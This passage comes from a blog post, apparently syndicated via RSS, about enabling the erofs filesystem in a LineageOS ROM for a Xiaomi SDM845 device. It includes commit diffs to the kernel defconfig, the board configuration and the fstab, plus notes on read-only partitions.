&lt;p&gt;The code changes were picked from ReallySnow&apos;s msm-4.9 kernel (Thanks to ReallySnow for the support!). You can refer to these branches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/ReallySnow/msm-4.9/tree/erofs&lt;/li&gt;
&lt;li&gt;https://github.com/YoriInstitute/android_kernel_xiaomi_sdm845/tree/lineage-22.0-erofs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Before picking the commits, you need to resolve conflicts in the lz4 compression code. For the detailed relation chain, refer to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://review.lineageos.org/c/LineageOS/android_kernel_xiaomi_sdm845/+/412614&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;s&gt;&lt;em&gt;I tried to submit these changes to LineageOS official, but obviously, they weren&apos;t merged x&lt;/em&gt;&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;After picking the changes, enable erofs support in the kernel&apos;s defconfig file:&lt;br /&gt;
Open &lt;code&gt;$KERNEL_SOURCE/arch/arm64/configs/vendor/xiaomi/mi845_defconfig&lt;/code&gt; and add: &lt;code&gt;CONFIG_EROFS_FS=y&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit 7ae5caab2c15982b3d3821c97e2f2e6126ca1281 (HEAD -&amp;gt; erofs, refs/published/erofs)
Author: KaguraiYoRoy &amp;lt;neko@yori.moe&amp;gt;
Date:   Tue Dec 24 22:49:07 2024 +0800

    arch: arm64: configs: mi845: Enable CONFIG_EROFS_FS

    Change-Id: Ie387b03bde54700d73ccf19f0baf4db62526cc8f

diff --git a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
index 7684be360d98..69ea580fdb11 100644
--- a/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
+++ b/arch/arm64/configs/vendor/xiaomi/mi845_defconfig
@@ -651,3 +651,4 @@ CONFIG_SOUNDWIRE_WCD_CTRL=y
 CONFIG_WCD9XXX_CODEC_CORE=y
 CONFIG_WCD_DSP_GLINK=y
 CONFIG_WCD_SPI_AC=y
+CONFIG_EROFS_FS=y
\ No newline at end of file
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Modifying Partition Filesystems and Fstab&lt;/h2&gt;
&lt;p&gt;Open the board configuration file in the device tree and change the filesystem type for the partitions you want to convert to &lt;code&gt;erofs&lt;/code&gt;. The example configuration file is located at &lt;code&gt;$WORKING_DIR/device/xiaomi/sdm845-common/BoardConfigCommon.mk&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit 0fce86fb40ca637a8563bef6192afaea1658c881 (HEAD -&amp;gt; erofs, refs/published/erofs)
Author: KaguraiYoRoy &amp;lt;neko@yori.moe&amp;gt;
Date:   Tue Dec 24 23:37:50 2024 +0800

    sdm845-common: Switch to erofs

    Change-Id: I9a8d6de4dcb79cd6bc177451ce3cbc4682748501

diff --git a/BoardConfigCommon.mk b/BoardConfigCommon.mk
index cf73d39..700592f 100644
--- a/BoardConfigCommon.mk
+++ b/BoardConfigCommon.mk
@@ -78,11 +78,11 @@ BOARD_CACHEIMAGE_PARTITION_SIZE := 268435456
 BOARD_USERDATAIMAGE_PARTITION_SIZE := 57453555712

 BOARD_CACHEIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_ODMIMAGE_FILE_SYSTEM_TYPE := erofs
 BOARD_PRODUCTIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEMIMAGE_FILE_SYSTEM_TYPE := ext4
 BOARD_SYSTEM_EXTIMAGE_FILE_SYSTEM_TYPE := ext4
-BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := ext4
+BOARD_VENDORIMAGE_FILE_SYSTEM_TYPE := erofs

 BOARD_FLASH_BLOCK_SIZE := 262144 # (BOARD_KERNEL_PAGESIZE * 64)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Modify the device&apos;s fstab file, located here at &lt;code&gt;$WORKING_DIR/device/xiaomi/equuleus/rootdir/fstab.qcom&lt;/code&gt;. Change the filesystem type for the relevant partitions to &lt;code&gt;erofs&lt;/code&gt;, and reduce the mount parameters to just &lt;code&gt;ro&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit d66bfc8fe722f7368ef56835d35fb88b904e10fb (HEAD -&amp;gt; erofs, refs/published/erofs)
Author: KaguraiYoRoy &amp;lt;neko@yori.moe&amp;gt;
Date:   Tue Dec 24 23:40:08 2024 +0800

    equuleus: Update fstab for erofs

    Change-Id: I814eab1dd77cf2c184ebd398cc4914785bc37ad6

diff --git a/rootdir/etc/fstab.qcom b/rootdir/etc/fstab.qcom
index 7aca90a..685ec84 100644
--- a/rootdir/etc/fstab.qcom
+++ b/rootdir/etc/fstab.qcom
@@ -6,8 +6,8 @@
 system                                       /system                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 system_ext                                   /system_ext             ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
 product                                      /product                ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-vendor                                       /vendor                 ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
-odm                                          /odm                    ext4    ro,barrier=1,discard                                                                              wait,logical,first_stage_mount
+vendor                                       /vendor                 erofs   ro                                                                                                wait,logical,first_stage_mount
+odm                                          /odm                    erofs   ro                                                                                                wait,logical,first_stage_mount
 /dev/block/bootdevice/by-name/userdata       /data                   ext4    noatime,nosuid,nodev,barrier=0,noauto_da_alloc                                                    latemount,wait,check,fileencryption=ice,quota
 /dev/block/bootdevice/by-name/modem          /vendor/firmware_mnt    vfat    ro,shortname=lower,uid=0,gid=1000,dmask=227,fmask=337,context=u:object_r:firmware_file:s0         wait
 /dev/block/bootdevice/by-name/dsp            /vendor/dsp             ext4    ro,nosuid,nodev,barrier=1                                                                         wait
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, build and flash the ROM. If all goes well, it should boot into the system.&lt;/p&gt;
&lt;h2&gt;Important Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;LineageOS official has implemented Dynamic Partition for my device model. The device tree modifications described above might not be suitable for your device.&lt;/li&gt;
&lt;li&gt;erofs is a &lt;strong&gt;read-only filesystem&lt;/strong&gt;. If you plan to flash Gapps later, &lt;strong&gt;DO NOT convert&lt;/strong&gt; the &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;system_ext&lt;/code&gt;, and &lt;code&gt;product&lt;/code&gt; partitions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Frequently Asked Questions&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Booting into Fastboot mode: Check if the fstab modifications are correct.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item></channel></rss>